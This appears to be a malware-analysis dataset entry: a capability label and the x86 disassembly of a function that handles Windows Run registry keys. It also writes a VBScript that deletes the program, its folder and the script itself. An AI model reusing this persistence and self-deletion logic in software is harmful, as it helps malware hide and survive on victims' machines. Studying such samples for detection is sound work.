Function at 0xe3d096
Capabilities:
Persist via run registry key

Disassembly:
sub esp, 0x29c
push ebx
push ebp
push esi
push edi
call fcn.00e42850
cmp dword [0xea513c], 0
je 0xe3d0b8
mov ecx, 0xea50f0
call fcn.00e3b8ac
xor ebx, ebx
inc ebx
cmp byte [0xea2d63], bl
jne 0xe3d0c8
call fcn.00e49a94
cmp byte [0xea2a85], 0
je 0xe3d0e2
mov ecx, 0xea4d64
call fcn.00e31f04
mov ecx, eax
call fcn.00e4c291
mov esi, 0xea52c0
mov edi, str.SoftwareMicrosoftWindowsCurrentVersionRun_
cmp byte [0xea2b33], bl
jne 0xe3d109
mov ecx, esi
call fcn.00e31f04
push eax
mov edx, edi
mov ecx, 0x80000001
call fcn.00e43a23
pop ecx
mov ebp, 0x80000002
cmp byte [0xea2b30], bl
jne 0xe3d128
mov ecx, esi
call fcn.00e31f04
push eax
mov edx, edi
mov ecx, ebp
call fcn.00e43a23
pop ecx
cmp byte [0xea2b31], bl
jne 0xe3d145
mov ecx, esi
call fcn.00e31f04
push eax
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun_
mov ecx, ebp
call fcn.00e43a23
pop ecx
mov ebx, 0x208
lea eax, [esp + 0xa0]
push ebx
xor edi, edi
push edi
push eax
call fcn.00e66e90
add esp, 0xc
mov esi, 0xea5338
mov ecx, esi
call fcn.00e3247c
push eax
mov ecx, esi
call fcn.00e31fab
push eax
push ebx
lea eax, [esp + 0xac]
mov esi, 0xea52f0
push eax
push str.exepath
mov ecx, esi
call fcn.00e31fab
mov edx, eax
call fcn.00e436f8
add esp, 0x14
test al, al
jne 0xe3d1ab
push ebx
lea eax, [esp + 0xa4]
push eax
push edi
call dword [0xe892fc]
mov ecx, esi
call fcn.00e31fab
push eax
push 0x80000001
call dword [0xe89080]
mov ebp, 0xe96468
mov ebx, 0xea5308
mov edx, ebp
mov ecx, ebx
call fcn.00e377b7
mov esi, dword [0xe8928c]
test al, al
je 0xe3d1ea
push 0x80
mov ecx, ebx
call fcn.00e31f04
push eax
call esi
push 0x80
lea eax, [esp + 0xa4]
push eax
call esi
mov ebx, eax
lea ecx, [esp + 0x10]
neg ebx
push str..vbs
sbb bl, bl
call fcn.00e4b978
mov edx, eax
lea ecx, [esp + 0x44]
call fcn.00e4bc5e
mov edx, eax
lea ecx, [esp + 0x8c]
call fcn.00e33014
pop ecx
lea ecx, [esp + 0x40]
call fcn.00e31f09
lea ecx, [esp + 0x10]
call fcn.00e31fd8
lea eax, [esp + 0x88]
push eax
push 0xe96608
push 0xe96f88
call fcn.00e6c0cf
pop ecx
push eax
lea ecx, [esp + 0x4c]
call fcn.00e3417e
mov edx, eax
lea ecx, [esp + 0x18]
call fcn.00e33014
pop ecx
mov edx, eax
lea ecx, [esp + 0x74]
call fcn.00e3431d
pop ecx
lea ecx, [esp + 0x10]
call fcn.00e31f09
lea ecx, [esp + 0x40]
call fcn.00e31f09
push str.Set_fso__CreateObject__Scripting.FileSystemObject___n
lea ecx, [esp + 0x14]
call fcn.00e3417e
push eax
mov edx, str.On_Error_Resume_Next_n
lea ecx, [esp + 0x2c]
call fcn.00e342fc
pop ecx
lea ecx, [esp + 0x10]
call fcn.00e31f09
and bl, 1
je 0xe3d308
push 0xe97030
lea eax, [esp + 0xa4]
push eax
lea ecx, [esp + 0x60]
call fcn.00e3417e
push eax
mov edx, str.while_fso.FileExists__
lea ecx, [esp + 0x48]
call fcn.00e342fc
pop ecx
mov edx, eax
lea ecx, [esp + 0x14]
call fcn.00e33014
pop ecx
push eax
lea ecx, [esp + 0x2c]
call fcn.00e3325d
lea ecx, [esp + 0x10]
call fcn.00e31f09
lea ecx, [esp + 0x40]
call fcn.00e31f09
lea ecx, [esp + 0x58]
call fcn.00e31f09
push 0xe97068
lea eax, [esp + 0xa4]
push eax
push str.fso.DeleteFile__
lea ecx, [esp + 0x4c]
call fcn.00e3417e
mov edx, eax
lea ecx, [esp + 0x18]
call fcn.00e33014
pop ecx
mov edx, eax
lea ecx, [esp + 0x5c]
call fcn.00e33014
pop ecx
push eax
lea ecx, [esp + 0x2c]
call fcn.00e3325d
lea ecx, [esp + 0x58]
call fcn.00e31f09
lea ecx, [esp + 0x10]
call fcn.00e31f09
lea ecx, [esp + 0x40]
call fcn.00e31f09
test bl, bl
je 0xe3d372
push str.wend_n
lea ecx, [esp + 0x2c]
call fcn.00e39052
mov esi, 0xea5308
mov edx, ebp
mov ecx, esi
call fcn.00e377b7
test al, al
je 0xe3d3c1
push 0xe97068
push esi
mov edx, str.fso.DeleteFolder__
lea ecx, [esp + 0x18]
call fcn.00e3b97c
pop ecx
mov edx, eax
lea ecx, [esp + 0x5c]
call fcn.00e33014
pop ecx
push eax
lea ecx, [esp + 0x2c]
call fcn.00e3325d
lea ecx, [esp + 0x58]
call fcn.00e31f09
lea ecx, [esp + 0x10]
call fcn.00e31f09
push str.fso.DeleteFile_Wscript.ScriptFullName_
lea ecx, [esp + 0x2c]
call fcn.00e39052
push edi
lea ecx, [esp + 0x74]
call fcn.00e31f04
push eax
lea ecx, [esp + 0x30]
call fcn.00e3247c
mov esi, eax
lea ecx, [esp + 0x30]
add esi, esi
call fcn.00e31f04
mov edx, esi
mov ecx, eax
call fcn.00e4c3f1
pop ecx
pop ecx
test al, al
je 0xe3d418
push edi
push ebp
push ebp
lea ecx, [esp + 0x7c]
call fcn.00e31f04
push eax
push 0xe96108
push edi
call dword [0xe89368]
push edi
call dword [0xe892b0]
int3